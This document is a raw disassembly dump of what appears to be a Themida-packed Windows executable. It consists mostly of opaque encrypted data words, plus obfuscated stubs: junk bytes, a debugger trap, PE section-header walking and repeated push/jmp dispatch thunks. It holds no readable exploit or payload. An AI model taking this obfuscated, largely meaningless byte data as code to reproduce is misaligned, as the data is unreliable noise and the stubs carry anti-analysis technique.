dd 0AF1A283Dh, 1B3027F6h, 5B706732h, 9DB2A572h, 0E0F5E2B4h
dd 0E51B6100h, 0EBCBAE22h, 31D0A351h, 5970BDEBh, 0F1BCC3D3h
dd 9BB0A774h, 2CF7E0B2h, 97AC6AEEh, 897E7092h, 0EC622446h
dd 5B15C8B4h, 0D3EB448Ah, 172C2BF0h, 193ED912h, 1106D14Eh
dd 40587946h, 0F401BD5Dh, 0D05EBC51h, 56D39EBFh, 9F7F9483h
dd 2F65AB00h, 35D3595Fh, 0D117162Eh, 0D3595F9Bh, 922CEAA1h
dd 46100048h, 0B586A724h, 8D3F4E3h, 0B5CACD8Bh, 1CC040Bh
dd 4413D484h, 271D3253h, 0D358B2EDh, 0E1CE060Fh, 0DF929Bh
dd 792059DBh, 7F86465Eh, 9CBB5992h, 0D9FE9E87h, 0D3C4910Eh
dd 0CBCC8B08h, 0D4389DEh, 13DB00DFh, 7C9B3B0Ch, 0EFCCE4B1h
dd 0E6B1A672h, 7A67AFA8h, 0A90B3B34h, 423A41E2h, 0FC052E29h
dd 8309E176h, 0FD000000h, 3D263B5Ch, 7A63789Fh, 0BBA4B9DEh
dd 0FAE3F81Fh, 19273C5Bh, 3126F5B0h, 7364331Ch, 0B7A0755Eh
dd 0FE19B9A2h, 246A09E9h, 0CBAE20EEh, 0C7AC5AF4h, 0B8350017h
dd 6126F1E6h, 8C4EDD48h, 3499E8Bh, 0D35970CDh, 8DB4CCD3h
dd 0A801C387h, 1D161Bh, 0AB140000h, 5604A372h, 88A97641h
dd 0DFF7E0B7h, 5970B6EFh, 0DEF999D3h, 0B85C9h, 0BAC70000h
dd 0D3597080h, 8FA4B363h, 2F709BA3h, 2, 16C7EB89h, 19B93601h
dd 0E1B633FEh, 0EBAE2BF6h, 0F1A421ECh, 0FF9E1BE6h, 0CA900DD8h
dd 0D38502CDh, 0D87CF9C4h, 513CF4BFh, 0C181E189h, 4, 4BF57h
dd 0F9290000h, 240C875Fh, 0E089505Ch, 405h, 4E88300h, 5C240487h
dd 52240489h, 0C281E289h, 4, 4EA81h, 14870000h, 34895C24h
dd 1F96824h, 34890000h, 4BD8BE24h, 0F08907ABh, 348B545Eh
dd 4C48124h, 68000000h, 68CEh, 8F240489h, 34FF0846h, 0C4835E24h
dd 2434FF04h, 4C48158h, 0E9000000h, 0FFFD2EC7h
db 0D0h, 46h
; ---------------------------------------------------------------------------
loc_5B6556: ; CODE XREF: Themida_:005B600Aj
mov eax, 7AB5072h
add eax, ebp
loc_5B655D: ; CODE XREF: Themida_:005B6005j
mov edx, ecx
jmp loc_5B65B5
; ---------------------------------------------------------------------------
pusha
mov esi, [esp+24h]
add esi, [esi+3Ch]
mov edi, [esp+28h]
mov edx, esi
add edx, 0F8h
mov cx, [esi+6]
movzx ecx, cx
loc_5B657F: ; CODE XREF: Themida_:005B65AAj
cmp ecx, 0
jz loc_5B659E
cmp edi, [edx+0Ch]
jg loc_5B65A6
sub edx, 28h
mov eax, [edx+0Ch]
mov ecx, [edx+14h]
sub eax, ecx
sub edi, eax
loc_5B659E: ; CODE XREF: Themida_:005B6582j
; Themida_:005B65B0j
mov [esp+1Ch], edi
popa
retn 8
; ---------------------------------------------------------------------------
loc_5B65A6: ; CODE XREF: Themida_:005B658Bj
add edx, 28h
dec ecx
jnz loc_5B657F
jmp loc_5B659E
; ---------------------------------------------------------------------------
loc_5B65B5: ; CODE XREF: Themida_:005B655Fj
mov edx, 9FD3Eh
call sub_5B65C4
; ---------------------------------------------------------------------------
cdq
lodsd
les esp, [ebp+75h]
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn
sub_5B65C4 proc near ; CODE XREF: Themida_:005B65BAp
sub ch, 40h
pop edi
mov ebx, edi
add edi, 5A0Fh
mov bx, 53ABh
push 1647h
jmp loc_5B65F2
; ---------------------------------------------------------------------------
dw 0BCDDh
dd 7C52FB89h, 49F9312Ch, 0A7B781A5h, 6AFCF73h
db 2Dh, 89h
; ---------------------------------------------------------------------------
loc_5B65F2: ; CODE XREF: sub_5B65C4+15j
pop esi
mov bl, 1Dh
mov edx, [edi]
call near ptr loc_5B6608+3
; ---------------------------------------------------------------------------
push ss
les edx, [esi+ecx*4+5Fh]
int 3 ; Trap to Debugger
or [ebx+5AADBF2Bh], dl
loc_5B6608: ; CODE XREF: sub_5B65C4+33p
jmp far ptr 15C9h:816036CAh
sub_5B65C4 endp ; sp-analysis failed
; ---------------------------------------------------------------------------
db 0FDh
dd 0BF0F087Ch, 815B61C3h, 5275F8C2h, 38E0F71h, 66000000h
dd 0C281C68Bh, 28A55F7Eh, 72F281FCh, 0F748081h, 0F52C3BFh
dd 38Ch, 0C38B6600h, 8A0F078Fh, 5, 19C38166h, 5EF814Dh
dd 0FC5EB3EFh, 0EF01C781h, 0F565EB3h, 28Eh, 58EB8A00h
dd 1EE81h, 850F0000h, 2Bh, 18800Fh, 0F600000h, 85h, 0BE900h
dd 0E9500000h, 7670C19Ch, 699ECC35h, 23E96110h, 0D7000000h
dd 0D2CA6EAAh, 0B9877283h, 61451F48h, 0FFFF50E9h, 83BDDFFh
dd 1DF81138h, 485BA135h, 9829FE73h, 65E974DEh, 0F1000001h
dd 0E75004F9h, 93DA95ECh, 0DF067158h, 0FDBEB6CFh, 36365D54h
dd 0BCECA4h, 52C55DD5h, 0A4D676D3h, 4100FC94h, 50C1AEC4h
dd 325277CBh, 9CACACh, 0FC6C46BFh, 597390ADh, 75D6A336h
dd 0BD9C72E2h, 93DD0090h, 0A79B8CE6h, 0DD64A592h, 9792A7ABh
dd 0FC7A918Fh, 96B9F95Ch, 0B59BB1E4h, 0B69F47E4h, 94B6E592h
dd 0B59EBDF6h, 0EC96B3EBh, 999C93D0h, 0FD7B97BFh, 9389F55Ch
dd 0EDAFF4h, 0A6E3B2CDh, 0B5D4E594h, 445700C3h, 0B0F3622Dh
dd 2CAE29h, 340000h, 380000h, 2 dup(0)
dd 40000h, 940000h, 50000h, 10000h, 0A280000h, 20000h
dd 65530000h, 63697672h, 61502065h, 32206B63h, 27h dup(0)
; ---------------------------------------------------------------------------
jmp loc_5B875E
; ---------------------------------------------------------------------------
push 7AB55A5h
jmp loc_58941B
; ---------------------------------------------------------------------------
push 7AB56C6h
jmp loc_58941B
; ---------------------------------------------------------------------------
push 7AB576Ah
jmp loc_58941B
; ---------------------------------------------------------------------------
push 7AB583Eh
jmp loc_58941B
; ---------------------------------------------------------------------------
push 7AB5903h
jmp loc_58941B
; ---------------------------------------------------------------------------
push 7AB59FBh
jmp loc_58941B
; ---------------------------------------------------------------------------
push 7AB5AB5h
jmp loc_58941B
; ---------------------------------------------------------------------------
push 7AB5B9Fh
jmp loc_58941B
; ---------------------------------------------------------------------------
push 7AB5F32h
jmp loc_58941B
; ---------------------------------------------------------------------------
push 7AB5FB9h
jmp loc_58941B
; ---------------------------------------------------------------------------
push 7AB60D7h
jmp loc_58941B
; ---------------------------------------------------------------------------
push 7AB6410h
jmp loc_58941B
; ---------------------------------------------------------------------------
push 7AB6741h
jmp loc_58941B
; ---------------------------------------------------------------------------
push 7AB6ABAh
jmp loc_58941B
; ---------------------------------------------------------------------------
push 7AB6C18h
jmp loc_58941B
; ---------------------------------------------------------------------------
push 7AB6C88h
jmp loc_58941B
; ---------------------------------------------------------------------------
push 7AB6CF2h
jmp loc_58941B
; ---------------------------------------------------------------------------
push 7AB6D3Dh
jmp loc_58941B
; ---------------------------------------------------------------------------
push 7AB6EC0h
jmp loc_58941B
; ---------------------------------------------------------------------------
push 7AB7000h
jmp loc_58941B
; ---------------------------------------------------------------------------
push 7AB71A5h
jmp loc_58941B
; ---------------------------------------------------------------------------
db 39h
dd 816A7F98h, 0C6AFC4D3h, 7F00512h, 462F4453h, 5D6B8097h
dd 7D9A396Ch, 0BFD87F68h, 314C1AAh, 425505EEh, 68AE4D2Dh
dd 0CBAE1C32h, 9ED79E38h, 0C70B40FEh, 0E34F82D3h, 0C7C4AAC2h
dd 0B8350017h, 869141E6h, 0B1A65065h, 0F1327865h, 0F7DB0197h
dd 619B25F0h, 7CDB0198h, 64CF863h, 0F8E3F025h, 815AB9D6h
dd 9EB67C55h, 2C82h, 11068000h, 5D92D8C5h, 63DB0176h, 0CD07915Ch
dd 0B0DB0176h, 0A724EFE8h, 9F1AE5F2h, 0FA887F2h, 0ABDF8BF6h
dd 6EE3FFFBh, 0DDh, 17C76Ch, 0F2E5B835h, 0EFE8AA27h, 0F0368B24h
dd 0D35970BAh, 70053B81h, 40BD359h, 54374F56h, 8B33E582h
dd 0EFF4492Ch, 0E2F50A8h, 3C0C03F9h, 2FEFD359h, 682A1328h
dd 8A4E19BFh, 0D4A16C8Dh, 0ADAAE8B3h, 8C4A1DB9h, 0D29F6A8Bh
dd 0C97EC4B1h, 0CFDB0161h, 0C09B3C8h, 7E95DBC8h, 84E2AC11h
dd 193B907Dh, 0A4604498h, 0AED05EDh, 4E374C4Bh, 0CD90888Fh
dd 0F6FC18B7h, 1CAB8961h, 71220000h, 0B4685166h, 0F3A58EA3h
dd 30E6CFE4h, 6A291227h, 7F4A586Dh, 4B607726h, 8BA0B762h
dd 0CDE2F5A2h, 102532E4h, 154B9130h, 1BCBAE1Bh, 56ABD381h
dd 5970DA10h, 0C1D9E0D3h, 2B183FDEh, 705A90D6h, 5960D359h
dd 61311A41h, 75C6176h, 59708BC1h, 9D8A91D3h, 59702157h
dd 82027D3h, 0C5110622h, 596183D8h, 0B6A2211Ch, 9AD01603h
dd 0A0D35945h, 5C918199h, 62DB014Bh, 0CC06905Bh, 0E7DB014Bh
dd 0F3B763CEh, 46E3F024h, 0D1h, 17C744h, 1F38DA13h, 0EEAD2A07h
dd 68AE9D39h, 0D3597032h, 0EF103138h, 74A39A24h, 486AD359h
dd 0A0A7642h, 70536B9Dh, 0AB94A9AEh, 0C6FFECEBh, 0BE80017h
dd 0A1D71D72h, 0A7D35A2Bh, 73E488A0h, 0DA7DB6A3h, 60A6A5BDh
dd 0DB0250ABh, 799E3972h, 7701A161h, 0F1BE3FDAh, 8DAEA96Fh
dd 1952576Ch, 0C3905B7Ch, 673225F2h, 79DE829Ah, 697FB804h
dd 0B4F3ADAAh, 7F41524h, 0AC6099C1h, 0AB989FE2h, 9FB4A372h
dd 0F8F0E7B6h, 0FC18536Bh, 8A3B13A8h, 100001Bh, 49324750h
dd 8E778C8Bh, 0CFB8CDCAh, 0EF70C0Bh, 2533484Fh, 455201A4h
dd 87904730h, 0CBCC8972h, 0A0DCDB6h, 307615F5h, 0CBAE19FAh
dd 0C7B86600h, 0E9EE0314h, 0D3EBECB0h, 14292EF0h, 17C728h
dd 0F1E6B835h, 5C0BCB04h, 8C799ABDh, 59701046h, 0F70F16D3h
dd 0FCB1E3D0h, 79CEBB1Bh, 0BA7BF257h, 8204DBFh, 0E2F718h
dd 0CDF6FDDBh, 8F52C1FFh, 0A272E397h, 6ACA6FB5h, 30D09F37h
dd 0F5EE8426h, 6A35565Dh, 0FEEB2B2Ch, 0DF285DB8h, 6F5C63A6h
dd 5E736436h, 0BAB2A575h, 20CF0BB3h, 0E68F67FCh, 5D00001Ah
dd 9D869BBCh, 0DAC3D8FFh, 1B04193Eh, 5A43587Fh, 79879CBBh
dd 91865550h, 0D3C4937Ch, 1700D5BEh, 5E791902h, 84CA6949h
dd 0CBAE194Eh, 0C70CBA54h, 0B8EE3417h, 0BED35970h, 7258AA1Eh
dd 214247E1h, 1EF73500h, 3E83C9B6h, 44DB00FAh, 0F53B283Dh
dd 0B767FF58h, 4C927FA0h, 0E2A9002Bh, 0FB1CB9F2h, 9D686F2Ah
dd 0F1F8B8D0h, 0C3C2E204h, 62D2018Ah, 8E410F4Ah, 55AA5ABEh
dd 20875833h, 0AA6D73BCh, 0F415E2ADh, 0F7DF38DCh, 1A60B50Ah
dd 0AA5B02E4h, 0DBCBE3EAh, 0B2031B36h, 2C6A353Ch, 0B8FEEB2Bh
dd 0B9AB575Dh, 0C216C363h, 0BB945ADEh, 0A274AD9Ah, 469BA0B5h
dd 0AB23CA00h, 0B7FDD0B9h, 0B9AB2381h, 475F8087h, 0ADA5B264h
dd 151B0EC8h, 128860F5h, 8900001Ah, 0D1BACFC8h, 16FF1403h
dd 57405542h, 967F9483h, 0ADBBD0C7h, 0CDCA891Ch, 0F08CFB8h
dd 534411FAh, 9285553Eh, 0B8FE9D7Dh, 0CBAE1882h, 0C740EE88h
dd 8F885017h, 0E9D6F7C4h, 60A898C7h, 0ABC35762h, 5CFC35CEh
dd 8BA3703Bh, 0B9A66EE7h, 115C673h, 4015CCDBh, 34213657h
dd 6FF760F3h, 0A08DAEA9h, 5146124Bh, 0B1A1B986h, 0E2A91B90h
dd 69A28F96h, 3A5DFCABh, 0F8C60119h, 7F51D410h, 4F12532h
dd 0F9ED19BEh, 4D181F86h, 0E1CE060Fh, 0F2306A8Ch, 0E4EF83F8h
dd 0BA81DCCCh, 0D0878EA1h, 0FDEA0B0Ch, 88A1D7DBh, 0CD07C1D6h
dd 0B9DE7E6Fh, 0E80021EEh, 0E9EEB0E9h, 2C2BEBD4h, 2314934h
dd 1DF58A48h, 194Dh, 0EF0413C4h, 2C415606h, 6D829543h
dd 0ACC1D684h, 0F20710C3h, 1DC0E5E4h, 5DFCE5FAh, 9F3C253Ah
dd 0D87A6378h, 2BCAAABFh, 0AE17AFE5h, 6D1BB5CBh, 2A572ABh
dd 56214255h, 0CC8E7189h, 456700CBh, 0AC46D97Eh, 51F50D92h
dd 12310C4h, 1652428Ah, 605F77D4h, 3A70B60Bh, 40D35962h
dd 24312139h, 2ADB0175h, 9BE13623h, 0DB017565h, 12AA646Bh
dd 0E355DA4Dh, 8A779EB6h, 71A5B2ADh, 781D3E84h, 1C23E2A9h
dd 5E94DA2Fh, 64E2A978h, 21ECEBADh, 0E01B3354h, 0EC2DC212h
dd 106789DFh, 7442D83Ah, 0F3027F3h, 12C253F7h, 1C3ADF25h
dd 3940E794h, 2327306Eh, 941CA7DDh, 94DAADE7h, 0E7941C5Eh
dd 1B3C5D64h, 17AB0C2Eh, 0F05E8F73h, 3893D9D8h, 0FFEF3C29h
dd 0E90116C6h, 0FC352229h, 23283D5Ah, 295288CEh, 5158EF3Ch
dd 93845639h, 0A804AE9Bh, 0CEA63BE8h, 1855h, 0F70C0BCCh
dd 34494E0Eh, 758A8D4Bh, 0B4C9CE8Ch, 0FA0F08CBh, 15C8DDECh
dd 5504ED02h, 97442D42h, 0D0826B80h, 33D2B2C7h, 0AE17B7EDh
dd 7523BDCBh, 6B6717C7h, 84BA00B3h, 8AD35942h, 39F6C983h
dd 10493657h, 0B3804B4Ch, 9780BE9Bh, 130C523Fh, 19DB00F5h
dd 86A7B062h, 0A1AC8471h, 1E7360B4h, 0F5A2D8h, 89A1A8DBh
dd 0FB23448Ah, 95EAE2A8h, 0D49FB85Ch, 0FAF32907h, 0F2F9E2A8h
dd 0EA131ADAh, 71F3A31Ch, 8450C576h, 0BAC5197h, 0ABB27E1Ah
dd 61B5A2E0h, 46D32E74h, 0D2D985C2h, 0EDEAACE5h, 0FF9AD3D8h
dd 6F400DD8h, 0B497AFA8h, 6FDF5E2h, 0C7412269h, 179B5A32h
dd 41120000h, 84584156h, 0C3957E93h, 0D6BFD4h, 7A190217h
dd 8F3A485Dh, 3B504716h, 7B908752h, 0BDD2C592h, 1502D4h
dd 53B8120h, 0BCBAE16h, 17C7C371h, 70B8EE34h, 0B7BED359h
dd 888DCB96h, 3D68A8B3h, 58F7C1F7h, 6C0C7D3h, 0BA4359h
dd 966A89Eh, 5C496A93h, 474D516h, 0E7D4DBDBh, 0DF0E17C5h
dd 243CCADBh, 2D2AEC25h, 3BDA1318h, 0E3AEA96Ch, 0EDDDF516h
dd 0DB055A47h, 3724E869h, 23505B15h, 0BDD56774h, 0EAEDAD96h
dd 5017C4FDh, 0A16C8D8Ah, 9095BCD4h, 0CB968157h, 906A44FEh
dd 0B36AA32h, 5EC64FF3h, 6D39EB9h, 5DA3F8E5h, 0DB04C527h
dd 0F0E262Dh, 0B01888C9h, 9A878EE2h, 92D8B361h, 0E2B0185Ch
dd 253A5B62h, 0B47F983Ch, 6BA46737h, 11DEA9AEh, 0B017FD33h
dd 0DBFC03E2h, 1C1BDAE3h, 6A42D7FCh, 16B1h, 4B607728h
dd 90A5B262h, 0D1E6F1A7h, 102532E8h, 4E637427h, 791C8940h
dd 0B960495Eh, 0FBA0899Eh, 3CDEC7DCh, 8726061Bh, 0AE150B41h
dd 0C97711CBh, 0D8C51106h, 4C35192h, 1B757DBh, 0A7DAC9F5h
dd 0F42D1A3Bh, 19183027h, 4193EE0h, 0B003DDFFh, 26F1E6B4h
dd 7D179F59h, 0D10209DFh, 0AACBA86Ah, 0A96DEE92h, 374C76BCh
dd 4B52DB05h, 37BDF680h, 0BFD8DB05h, 0C4E2A854h, 8037E3F3h
dd 35000000h, 6EA089ABh, 7FB61E68h, 6A5DA2C5h, 9EB6A655h
dd 0C8B519FAh, 59355082h, 844F56D3h, 0F3E4B2EBh, 0D0A15B28h
dd 837F98BFh, 9ED8C8E0h, 81D35912h, 78F5C0D7h, 1BE8B3A4h
dd 0BF8A8D4Ah, 4D2C9744h, 5595B7B4h, 0B9021D4Dh, 0FA307663h
dd 0D35946h, 5BC6E1F9h, 0A7D4FBAFh, 75225B1Bh, 0B2CA9762h
dd 1A96h, 81BA9400h, 0A3D35970h, 2F7562B2h
dd 0DB019226h, 0FF38252Ch, 0A5723D5Ah, 67A668Dh, 92D8C511h
dd 0DB018B81h, 0C5382648h, 137CB200h, 47343BFBh, 77484F0Eh
dd 1CE9B4A3h, 0E8AA2704h, 67AD02EFh, 0DB020B31h, 0F1183037h
dd 54415608h, 30C6781Bh, 1450F85Dh, 0F8C590B1h, 0D78603E0h
dd 0A6A1F5C0h, 8757903Bh, 70BFA8F7h, 56770416h, 9CBB5B3Eh
dd 2BFC9E87h, 0A8B06A6Dh, 179C70B1h, 0D311DCFDh, 5FA59242h
dd 0E2A9C20Ah, 0D1C698D1h, 61213906h, 1E40455Ah, 0B013D34Bh
dd 16F911CAh, 44665344h, 4F32776Ah, 7DC3B0B6h, 0E2AA4547h
dd 512E464Dh, 0E0ECB0C7h, 56C1BC5Ah, 0EB0017C7h, 0C5975002h
dd 74F918D2h, 0A25741C1h, 9D39B681h, 8734AF7Ah, 6238711Ch
dd 0C5DDAA75h, 122730E2h, 0A36E6929h, 3724F065h, 88E700F1h
dd 0EAFF0662h, 0EAEDACE5h, 282FEFD2h, 6E39E05Dh, 0C28DAEA9h
dd 7908736Eh, 0C0A9BED9h, 0F02EF91Eh, 7CC2AF67h, 6A311B77h
dd 4651053Eh, 52676E2Eh, 0E3AEA969h, 5641114Ah, 0B6A6BE8Bh
dd 7A311B7Ch, 6C178293h, 1B9BD117h, 9AA17A31h, 0F40C0BC9h
dd 41564111h, 0C9948358h, 0C38E894Ch, 0EB7AE5FEh, 0F14292Eh
dd 461700D6h, 0EFBC8790h, 3027F4D7h, 3E77CC65h, 6BA17F98h
dd 717A311Bh, 0AB6F526Ah, 2AC26213h, 2237BC2h, 0FB1CBA37h
dd 0F7E0B330h, 0E34E672Ch, 0F6615C04h, 300CB267h, 94ACF89Eh
dd 0EED7EC0Dh, 0EC412E29h, 312370A6h, 576F767Ah, 468CE17Ah
dd 7A312310h, 0C0F87616h, 4A8BE9C0h, 0E86D1129h, 0E8F93F2Ch
dd 0EE81D935h, 0F4A11CE7h, 3A5DFA89h, 5FFE2025h, 0D20927EBh
dd 0AF6F526Ah, 0B44DDA8h, 1377D4Eh, 781D960h, 4714DF00h
dd 8D8A4C2Fh, 79E4FDC2h, 1A2F28EAh, 28115E14h, 39A34Ah
dd 0ABA10000h, 0AB31E389h, 58AD5DE5h, 0A6FFB933h, 0BFF53B63h
dd 0C5D358F2h, 0A2859DBEh, 0D917E2F5h, 8E30E87Ch, 0FB3BB673h
dd 1A3B5CC3h, 6D5AE72Dh, 5960DB01h, 1E0044h, 0C7420000h
dd 7D2E6C12h, 3626D5F6h, 0B0C4A15h, 8F98DECBh, 95DB00E7h
dd 4E193EDEh, 5F4B6081h, 77E06DC3h, 4B6CB29Fh, 51DB0176h
dd 72245D4Ah, 7B1D9A65h, 0A3C4915Ch, 4C82508Bh, 6ECFB48Dh
dd 173E94E9h, 77071606h, 0BF146956h, 0B4954379h, 2A4249CFh
dd 5CAD953Ah, 0C9949BD7h, 5D4A8A8Bh, 4E9BC17h, 0CEBBC2DFh
dd 0ED39C595h, 2311B580h, 42645172h, 2B0A6542h, 4D748CA5h
dd 0ADA5B264h, 0F8E17FFAh, 1E3E16ABh, 95000013h, 0D5BED3C4h
dd 12FB1007h, 533C5146h, 927B9087h, 0B1BFD4C3h, 0C9CE8D18h
dd 0B0CCBB4h, 4F480DF6h, 9681513Ah, 0BC02A181h, 0CBAE1186h
dd 0BA44F28Ch, 0D3597184h, 7865B1A6h, 19C1D32h, 498FE4DBh
dd 0DB019C13h, 3AFA1219h, 4D0D4633h, 2C197F4Ah, 10A0F463h
dd 0ADF3E001h, 0DB019F77h, 5F5E767Dh, 0E0B67126h, 0CEE43DF7h
dd 0E89D87ACh, 0CC9B2C7h, 13C3400Bh, 0CC978054h, 0CDE6DEFFh
dd 0CAF4E207h, 12975D35h, 4D0E0000h, 884C354Ah, 0C7917A8Fh
dd 4D2BBD0h, 4615FE13h, 9B2E3C51h, 374C4B0Ah, 778C8B4Eh
dd 0B9CEC98Eh, 0F4090ED0h, 0F92F7514h, 0FFCBAE10h, 72ABB765h
dd 18E5B0A7h, 0B9849347h, 2730D4ECh, 58AD02EFh, 5970DC12h
dd 0C3DBE2D3h, 19BBED3h, 0C424C4DBh, 29048C07h, 2574465h
dd 0B73167ADh, 3037DB01h, 70673518h, 0B5A2725Bh, 0B6FC51EAh
dd 0DB01B780h, 0F2A0B763h, 5B7C1AEBh, 99BE6043h, 89C253CEh
dd 3502CDCAh, 897021Dh, 412E4354h, 30E073FAh, 81964607h
dd 0B6F32CB6h, 2ED5DB01h, 776034C3h, 0BCDB7962h, 72A2B3F1h
dd 20F73085h, 0CE2F1F37h, 0D4E2AD09h, 0F7A7E0CDh, 30E2CBE0h
dd 8AC35C27h, 0CB0C8CFh, 98DECB0Bh, 0EA585BB4h, 8196427Bh
dd 0B5A2A969h, 942BCC93h, 536BB40Ah, 5C7B1B54h, 49094247h
dd 0E51B614Eh, 0EBEA5842h, 29E9CCE4h, 0EB392395h, 3607D6A6h
dd 85507166h, 1906CE47h, 9652D3h, 19F719F2h, 0D757E13Ch
dd 0D9E0A0B8h, 0ED4A3AE1h, 461EB3EDh, 1179h, 13282FF0h
dd 586D6A2Ah, 99AEA96Fh, 0D8EDEAB0h, 162B2CEFh, 31E4C108h
dd 71281126h, 0B3685166h, 0F4A68FA4h, 4FEECEE3h, 0AE10D309h
dd 913FD9CBh, 59708DBAh, 0ACAB70D3h, 0BC599297h, 76DF839Bh
dd 7D7FB505h, 0D7F8B897h, 99C8A4EAh, 3A8FDB04h, 499BEF4h
dd 0E5F2A1DBh, 58183037h, 6D2B6451h, 9922589Eh, 2128DB04h
dd 99B8EE34h, 0B7BEDB04h, 0AB958196h, 5605A272h, 8082041h
dd 1C27F542h, 18E97h, 145A7C00h, 710C5B6h, 10B56F3Ch, 611C1A9h
dd 934D6E3Bh, 5821D459h, 0BBA1B9B6h, 40141206h, 9EBF8C57h
dd 881F8FB1h, 7D471CE7h, 56AB7F65h, 7085BB01h, 848BD359h
dd 70437C6Ch, 8308D359h, 8F6FABAFh, 1F068E20h, 6A97F3C7h
dd 423E7A48h, 79DE3916h, 3620DA42h, 997F97EDh, 40131306h
dd 0EEBF8C57h, 94612C2Bh, 926F9F73h, 0CD98BF59h, 0AA02E800h
dd 1EA7F590h, 5E29h, 1F062700h, 65ABF3C7h, 0D359702Ch
dd 22589EF3h, 1CD35970h, 0CF35D96Dh, 7B82301Eh, 0C89CA363h
dd 11C76FABh, 38E6706Dh, 9ABB735Ah, 0DC1258ADh, 0E2D35902h
dd 0ABDDC3DBh, 0EAE92289h, 0E4FCBF9Bh, 56ABE2ACh, 7085BB01h
dd 848BD359h, 597070A6h, 9E6F76D3h, 4310DBFCh, 1DED2Bh
dd 62F0000h, 0ABF3C71Fh, 59702C65h, 7F6CF1D3h, 0B6819646h
dd 0ABEBD1E9h, 611C76Fh, 0AAA87232h, 1EA7F590h, 2129h
dd 13062700h, 65ABEFC3h, 0D359702Ch, 0FA1DBAF3h, 471B22E2h
dd 15C76FABh, 0A8722E02h, 576Ch, 89ABAE00h, 0F137B4A2h
dd 0D35943BBh, 0E900BAC1h, 8E324AD7h, 0AB774B8Bh, 59702C65h
dd 0B7D1F3D3h, 15417F21h, 4898AA2h, 467CC217h, 4CD358A4h
dd 9BDF8B45h, 79FA6A7h, 6FAB09EFh, 2E0215C7h, 0B4A372ABh
dd 0B0A883E9h, 51E6F070h, 0C7FD4330h, 0CDD35875h, 0AC76AEC6h
dd 0DA1056ABh, 0E0D35970h, 74E01FD9h, 238CC2A8h, 0FE61CD0Bh
dd 60FFFFFh, 92D8C511h, 0DB04C351h, 0DCFBA057h, 2E4F480Bh
dd 5197EC41h, 0DB04C31Bh, 1F021A21h, 0E6F1A87Fh, 182D4E1Bh
dd 3C29ED6Eh, 4C3C0F6h, 8C4E87DBh, 0ACB3738Bh, 0C32357E1h
dd 253EDB04h, 50440EBAh, 489DE3F3h, 9B000000h, 0B7A072ABh
dd 17071FECh, 0D35970DDh, 0E4F91EC0h, 5970B5EEh, 967ED7D3h
dd 98E487A9h, 0E8B187ACh, 5E8BD1D0h, 64DB0157h, 97805891h
dd 0EB21FFCCh, 0F1DB0156h, 70B4C9EAh, 0D1h, 99BE6099h
dd 6C3001CEh, 0AB6D536Bh, 70DA1056h, 1ABDD359h, 5B484FFDh
dd 5970DF15h, 0C6DEE5D3h, 0F4E13522h, 0E3FB1CBBh, 0F43A8FE4h
dd 0D35970BEh, 8AD0BDC4h, 0D3597054h, 4B3B535Ah, 0DB017CF2h
dd 0CB04F1F8h, 9BBC5B0Ch, 0EDEAA97Ah, 0F89DD6D5h, 34E1CADFh
dd 3D1A5823h, 4DA6ECD9h, 53E2ACD0h, 76265F4Ch, 0B1C99661h
dd 0BBDC79B2h, 64CA1A6h, 0E2ACD0D0h, 0D4B7CFD6h, 7451007h
dd 93D9C60Eh, 0EA5820CBh, 88DDCAD1h, 0C08B8C4Fh, 26F8DBF3h
dd 63331C31h, 104B7C74h, 398E5B4h, 0E402Bh, 0F1E6B700h
dd 3621F3DCh, 77603821h, 0BADD7962h, 0FE19BCA5h, 0B7EEDBE9h
dd 0F5DEF3E4h, 37203522h, 77607562h, 0BB9BB0A7h, 0CA0D61Ch
dd 0CA6CBAEh, 17C75Eh, 0F1E6B835h, 0DD486126h, 3D5AF932h
dd 87904225h, 0A6B1619Ah, 2961678Eh, 0D1BA7FDh, 65FD9DEBh
dd 79910630h, 4C5Dh, 11065B00h, 707DB3F9h, 7C83D359h, 83286E5Bh
dd 89DB0188h, 883A70B6h, 3940DB01h, 92B44D18h, 0F14F0C87h
dd 573A520Fh, 927B9087h, 0CE0CD7C0h, 457BC149h, 4BDB019Eh
dd 0F0362344h, 0E2A9AB97h, 49D3C5Eh, 0C3E26265h, 0CFE4EBABh
dd 215C7E3h, 95C6E8EDh, 412E5D6Eh, 0C094778Fh, 53820CD7h
dd 36D358D0h, 0B7617661h, 4389765Eh, 0DB042274h, 4D86737Ah
dd 8B778C8Bh, 27F5E0AAh, 130391Ch, 6370000h, 0ABF0C412h
dd 59702C65h, 986CF1D3h, 7B1D56ABh, 1EE9EEACh, 8B763051h
dd 3C555318h, 8FB89EB6h, 1F068E20h, 6A97F3C7h, 0AB766131h
dd 6E0C6DEh, 35CF2A13h, 745B1397h, 72AB7F53h, 465107A0h
dd 0C28DAE7Bh, 0C5A2DDF5h, 0AB92FAA3h, 521FEAEDh, 0D5037498h
dd 90AAD7BDh, 291EA7F5h, 31h, 0C71F0627h, 2C65ABF3h, 32D35970h
dd 6FAB572Bh, 0B2A572ABh, 0C2433E1h, 569C6F29h, 0D3597020h
dd 7B465103h, 0D8F900AEh, 6CA87204h, 3Ch, 0C71F06AEh, 2C65ABF3h
dd 0F1D35970h, 34FF18BCh, 0AB724667h, 5F781D56h, 59704B81h
dd 3DB645D3h, 0C0BB5F7Eh, 0F4F30B12h, 611C7B8h, 568F7232h
dd 497FC586h, 4FD35970h, 290F2748h, 0A7F590AAh, 1C291Eh
dd 6270000h, 0ABEFC313h, 59702C65h, 572B32D3h, 15C76FABh
dd 0A8722E02h, 276Ch, 1306AE00h, 4BF9832Ah, 5F80971Fh
dd 156AB8Bh, 597085BBh, 6C848BD3h, 5970437Ch, 0AF8308D3h
dd 15C76FABh, 0A8722E02h, 0FFFED76Ch, 3C7395FFh, 0D05104D8h
dd 47957F19h, 7D9E073Dh, 11067F65h, 4A83D8C5h, 0F3C08B8Ch
dd 0C3AAEBDBh, 4F71DB04h, 0AEDB2B13h, 37F70F40h, 480A4330h
dd 83903A4Fh, 0E2185E4Bh, 0A9DB04CFh, 0E1ACAB70h, 353CFC14h
dd 4B4C0F48h, 0CFE2185Eh, 0E1E8DB04h, 2E62ECC9h, 11DB04CFh
dd 8855047h, 0B4794453h, 0E1B8309Bh, 2EB4A963h, 425BF415h
dd 4E672BD7h, 9ED7E3F3h, 6F682CFBh, 9EB6834Eh, 1082h, 80BA8000h
dd 63D35970h, 4B8FA4B3h, 0D6h, 0A989AB8Dh, 0C2F83E0Fh
dd 0C8D3589Eh, 0CE3E07C1h, 366CB29Fh, 3CD3595Dh, 9C791D35h
